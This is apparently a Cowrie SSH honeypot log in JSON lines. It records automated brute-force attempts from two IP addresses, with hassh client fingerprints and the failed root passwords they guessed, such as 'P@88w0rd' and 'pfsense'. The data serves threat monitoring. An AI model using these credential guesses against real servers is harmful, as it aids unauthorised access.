{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@12345","message":"login attempt [root/P@ssw0rd@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:48.496355Z","src_ip":"60.165.124.241","session":"029e6b98fd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:49.742974Z","src_ip":"60.165.124.241","session":"029e6b98fd88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ffea857690","protocol":"ssh","message":"New connection: 60.165.124.241:49092 (10.17.0.5:22) [session: a1ffea857690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:49.987396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:49.992384Z","src_ip":"60.165.124.241","session":"a1ffea857690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:50.239781Z","src_ip":"60.165.124.241","session":"a1ffea857690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@88w0rd","message":"login attempt [root/P@88w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:50.992373Z","src_ip":"60.165.124.241","session":"a1ffea857690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:52.232891Z","src_ip":"60.165.124.241","session":"a1ffea857690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51930,"dst_ip":"10.17.0.5","dst_port":22,"session":"c27437bdb8e8","protocol":"ssh","message":"New connection: 60.165.124.241:51930 (10.17.0.5:22) [session: c27437bdb8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:52.468266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:52.473625Z","src_ip":"60.165.124.241","session":"c27437bdb8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49392,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e72c2024f5c","protocol":"ssh","message":"New connection: 2.57.122.208:49392 (159.203.135.109:22) [session: 4e72c2024f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:52.617075Z"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:52.714962Z","src_ip":"60.165.124.241","session":"c27437bdb8e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:53.096768Z","src_ip":"2.57.122.208","session":"4e72c2024f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:53.100284Z","src_ip":"2.57.122.208","session":"4e72c2024f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd!2345","message":"login attempt [root/Abcd!2345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:53.438552Z","src_ip":"60.165.124.241","session":"c27437bdb8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:54.680224Z","src_ip":"60.165.124.241","session":"c27437bdb8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:54.731169Z","src_ip":"2.57.122.208","session":"4e72c2024f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54812,"dst_ip":"10.17.0.5","dst_port":22,"session":"115ea75258d6","protocol":"ssh","message":"New connection: 60.165.124.241:54812 (10.17.0.5:22) [session: 115ea75258d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:54.932997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:54.938326Z","src_ip":"60.165.124.241","session":"115ea75258d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:55.188879Z","src_ip":"60.165.124.241","session":"115ea75258d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258369","message":"login attempt [root/Aa147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:55.945780Z","src_ip":"60.165.124.241","session":"115ea75258d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:56.196794Z","src_ip":"2.57.122.208","session":"4e72c2024f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:57.203410Z","src_ip":"60.165.124.241","session":"115ea75258d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57998,"dst_ip":"10.17.0.5","dst_port":22,"session":"992877df5ca3","protocol":"ssh","message":"New connection: 60.165.124.241:57998 (10.17.0.5:22) [session: 992877df5ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:57.430824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:57.436172Z","src_ip":"60.165.124.241","session":"992877df5ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:57.675693Z","src_ip":"60.165.124.241","session":"992877df5ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pfsense","message":"login attempt [root/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:58.395840Z","src_ip":"60.165.124.241","session":"992877df5ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:59.636495Z","src_ip":"60.165.124.241","session":"992877df5ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32974,"dst_ip":"10.17.0.5","dst_port":22,"session":"f039be899c47","protocol":"ssh","message":"New connection: 60.165.124.241:32974 (10.17.0.5:22) [session: f039be899c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:59.869918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:59.874697Z","src_ip":"60.165.124.241","session":"f039be899c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:00.112369Z","src_ip":"60.165.124.241","session":"f039be899c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234..","message":"login attempt [root/Aa1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:00.832102Z","src_ip":"60.165.124.241","session":"f039be899c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:02.072951Z","src_ip":"60.165.124.241","session":"f039be899c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95455266217","protocol":"ssh","message":"New connection: 60.165.124.241:36034 (10.17.0.5:22) [session: f95455266217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:02.305560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:02.314170Z","src_ip":"60.165.124.241","session":"f95455266217","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:02.553579Z","src_ip":"60.165.124.241","session":"f95455266217","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orsonleung512","message":"login attempt [root/orsonleung512] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:03.275753Z","src_ip":"60.165.124.241","session":"f95455266217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:04.516265Z","src_ip":"60.165.124.241","session":"f95455266217","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38822,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fbed731e99d","protocol":"ssh","message":"New connection: 60.165.124.241:38822 (10.17.0.5:22) [session: 6fbed731e99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:04.774095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:04.779944Z","src_ip":"60.165.124.241","session":"6fbed731e99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:05.032776Z","src_ip":"60.165.124.241","session":"6fbed731e99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AHdianxin@1234","message":"login attempt [root/AHdianxin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:05.787749Z","src_ip":"60.165.124.241","session":"6fbed731e99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:07.042423Z","src_ip":"60.165.124.241","session":"6fbed731e99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea94a69fda4","protocol":"ssh","message":"New connection: 60.165.124.241:41906 (10.17.0.5:22) [session: fea94a69fda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:07.265688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:07.273688Z","src_ip":"60.165.124.241","session":"fea94a69fda4","protocol":"ssh"}
